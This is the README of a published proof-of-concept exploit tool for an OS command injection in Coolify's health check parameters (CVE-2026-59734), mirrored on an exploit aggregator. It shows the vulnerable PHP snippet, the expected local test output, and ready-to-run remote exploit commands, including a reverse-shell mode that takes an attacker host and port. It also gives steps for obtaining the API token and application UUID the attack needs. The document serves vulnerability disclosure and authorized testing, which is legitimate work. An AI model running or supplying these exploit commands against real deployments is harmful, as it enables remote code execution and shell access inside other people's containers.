Exploit for CVE-2026-59734

Name: Exploit for CVE-2026-59734
Rating: 5 (5 reviews)
2026-07-11 | CVSS 8.8
## https://sploitus.com/exploit?id=C9D8D26E-43CB-5CB0-AF87-263E8FED095F
# 🚨 CVE-2026-59734 — Coolify RCE Exploit
  ### OS Command Injection in Health Check → Remote Code Execution

  [![CVE](https://img.shields.io/badge/CVE-2026--59734-red.svg?style=for-the-badge&logo=cve)](https://github.com/coollabsio/coolify/security/advisories/GHSA-4fhp-xqqp-w7vv)
  [![CVSS](https://img.shields.io/badge/CVSS-8.8_High-orange.svg?style=for-the-badge)](https://nvd.nist.gov/vuln-metrics/cvss)
  [![Advisory](https://img.shields.io/badge/GHSA-4fhp--xqqp--w7vv-purple.svg?style=for-the-badge)](https://github.com/coollabsio/coolify/security/advisories/GHSA-4fhp-xqqp-w7vv)
  [![Patched](https://img.shields.io/badge/Patched-v4.0.0--beta.469-brightgreen.svg?style=for-the-badge)](#)
  [![Author](https://img.shields.io/badge/Author-CyberTechAjju-black.svg?style=for-the-badge&logo=github)](https://github.com/cybertechajju)

  

  
  

  

  Proof-of-Concept exploit for OS Command Injection in Coolify's health check configuration.
  Any authenticated user could execute arbitrary commands inside deployed containers.

  ---


## 🎯 About the Vulnerability

**[Coolify](https://coolify.io)** is a popular open-source, self-hosted deployment platform (30K+ GitHub stars) — a free alternative to Heroku, Vercel, and Netlify.

A critical **OS Command Injection** vulnerability was discovered in Coolify's health check configuration. The `health_check_host`, `health_check_method`, and `health_check_path` parameters are directly interpolated into shell commands **without any sanitization**, allowing any authenticated user to execute arbitrary commands inside deployment containers.

```
┌──────────────────┬──────────────────────────────────────┐
│ CVE ID           │ CVE-2026-59734                       │
│ Type             │ OS Command Injection (CWE-78)        │
│ Severity         │ HIGH — CVSS 8.8                      │
│ Attack Vector    │ Network (Authenticated)              │
│ Affected         │ Coolify = v4.0.0-beta.469           │
│ Fix Commit       │ 23f9156c7                            │
│ Reporter         │ CyberTechAjju                        │
└──────────────────┴──────────────────────────────────────┘
```


🔥 Vulnerable Code (Click to expand)

```php
// app/Jobs/ApplicationDeploymentJob.php — generate_healthcheck_commands()

// ⚠️ User input directly in shell command — NO escapeshellarg()!
$generated_healthchecks_commands = [
    "curl -s -X {$this->application->health_check_method} -f " .
    "{$this->application->health_check_scheme}://" .
    "{$this->application->health_check_host}:" .
    "{$health_check_port}" .
    "{$this->application->health_check_path} > /dev/null || exit 1",
];
```


---

## 🛠️ What This Tool Does

This PoC script validates and exploits CVE-2026-59734 with two modes:

| Mode | Description | Risk |
|:-----|:------------|:-----|
| `--local` | Simulates the vulnerable code pattern offline. **No network requests.** Tests all 3 injectable parameters + verifies the fix. | ✅ Safe |
| `--remote` | Exploits a real Coolify instance via API. Injects payload into health check config and triggers deployment. | ⚠️ Auth required |

### Features

- 🧪 **4 Local Tests** — Validates injection via `host`, `method`, `path` + confirms `escapeshellarg()` fix works
- 🔑 **Auth Validation** — Checks API token and permissions before attempting exploit
- 📋 **Version Detection** — Detects Coolify version and warns if already patched
- 🎯 **Proof Tokens** — Uses unique tokens to prevent false positives
- 🐚 **Reverse Shell Mode** — Built-in reverse shell payload with `--lhost` / `--lport`
- 🧹 **Cleanup Mode** — Restores original health check config after exploitation
- 🛡️ **Injection Verification** — Confirms server stored the payload unsanitized

---

## ⚡ Quick Start

### Local Validation (Safe & Offline)

```bash
git clone https://github.com/cybertechajju/CVE-2026-59734.git
cd CVE-2026-59734
chmod +x coolify_healthcheck_rce_poc.sh

# Run safe local validation
./coolify_healthcheck_rce_poc.sh --local
```

**Expected Output:**

```
═══ LOCAL VULNERABILITY PATTERN VALIDATION ═══

┌─ Test 1: health_check_host injection
│  ✅ VULNERABLE — Injected command executed successfully

┌─ Test 2: health_check_method injection
│  ✅ VULNERABLE — Method parameter also injectable

┌─ Test 3: health_check_path injection
│  ✅ VULNERABLE — Path parameter also injectable

┌─ Test 4: Verify that escapeshellarg() fixes the issue
│  ✅ SAFE — Sanitized input prevents injection
```

---

### Remote Exploit (Authorized Testing Only)

```bash
# Basic PoC — writes proof file inside the container
./coolify_healthcheck_rce_poc.sh --remote \
  --url https://your-coolify-instance:3000 \
  --token YOUR_API_TOKEN \
  --uuid YOUR_APP_UUID

# Reverse shell
./coolify_healthcheck_rce_poc.sh --remote \
  --url https://your-coolify-instance:3000 \
  --token YOUR_API_TOKEN \
  --uuid YOUR_APP_UUID \
  --lhost YOUR_IP \
  --lport 4444

# With auto-cleanup (restores original config after exploit)
./coolify_healthcheck_rce_poc.sh --remote \
  --url https://your-coolify-instance:3000 \
  --token YOUR_API_TOKEN \
  --uuid YOUR_APP_UUID \
  --cleanup
```

---

## 📋 All Options

```
Usage:

  Local Validation (safe, offline):
    ./coolify_healthcheck_rce_poc.sh --local

  Remote Exploit (requires auth):
    ./coolify_healthcheck_rce_poc.sh --remote --url  --token  --uuid  [OPTIONS]

Options:
  --url       Coolify instance URL (e.g. https://coolify.example.com)
  --token     API Bearer token
  --uuid      Target application UUID
  --payload   Custom injection payload
  --lhost     Attacker IP for reverse shell
  --lport     Attacker port for reverse shell (default: 4444)
  --cleanup   Restore original config after exploit
```

---

## 🔍 How to Get API Token & App UUID

**API Token:**
1. Login to Coolify dashboard
2. Go to **Settings → API Tokens**
3. Generate a new token

**App UUID:**
```bash
curl -s https://YOUR-COOLIFY/api/v1/applications \
  -H "Authorization: Bearer YOUR_TOKEN" | jq '.[].uuid'
```

---

## 📖 Full Writeup

I wrote a detailed blog post explaining the entire discovery, exploitation, and lessons learned:

🔗 **[How I Found an OS Command Injection (RCE) in Coolify — Medium](https://medium.com/@cybertechajju/how-i-found-an-os-command-injection-rce-in-coolify-a93ffce24e74)**

---

## 🎥 Video Walkthrough

Watch the full exploitation demo on YouTube:

🔗 **[CVE-2026-59734 — Coolify RCE Demo — YouTube](https://youtube.com/@cybertechajju)**

---

## ✅ Timeline

| Date | Event |
|:-----|:------|
| **Jan 6, 2025** | 🔍 Discovered & reported via GitHub Security Advisory |
| **Jan 16, 2025** | ✅ Report accepted by Coolify maintainer |
| **Feb 24, 2025** | 🔬 Investigation confirmed |
| **Mar 18, 2025** | 🔧 Fix committed ([`23f9156c7`](https://github.com/coollabsio/coolify/commit/23f9156c7)) |
| **Apr 12, 2025** | 📦 Fix released in v4.0.0-beta.469 |
| **Jul 2025** | 🏷️ CVE-2026-59734 assigned & advisory published |

---

## ⚠️ Legal Disclaimer

> **This tool is provided for EDUCATIONAL AND AUTHORIZED SECURITY TESTING PURPOSES ONLY.**

This PoC is intended for security researchers and bug bounty hunters to test systems they have **explicit, documented permission** to audit. Unauthorized use against systems you do not own is strictly prohibited and may violate local, state, and federal laws.

The author (**CyberTechAjju**) assumes no liability and is not responsible for any misuse or damage caused by this tool.

---



  ### 🏆 More CVEs by CyberTechAjju

  | CVE | Target | Type | Severity |
  |:----|:-------|:-----|:---------|
  | [CVE-2026-45156](https://github.com/cybertechajju/CVE-2026-45156) | Nextcloud user_oidc | JWT Signature Bypass | 🔴 Critical (9.8) |
  | **CVE-2026-59734** | **Coolify** | **OS Command Injection** | **🟠 High (8.8)** |

  

  
  
  

  

  "They forgot to sanitize. I didn't forget to report."
  🇮🇳 Hack the planet. 🌎💻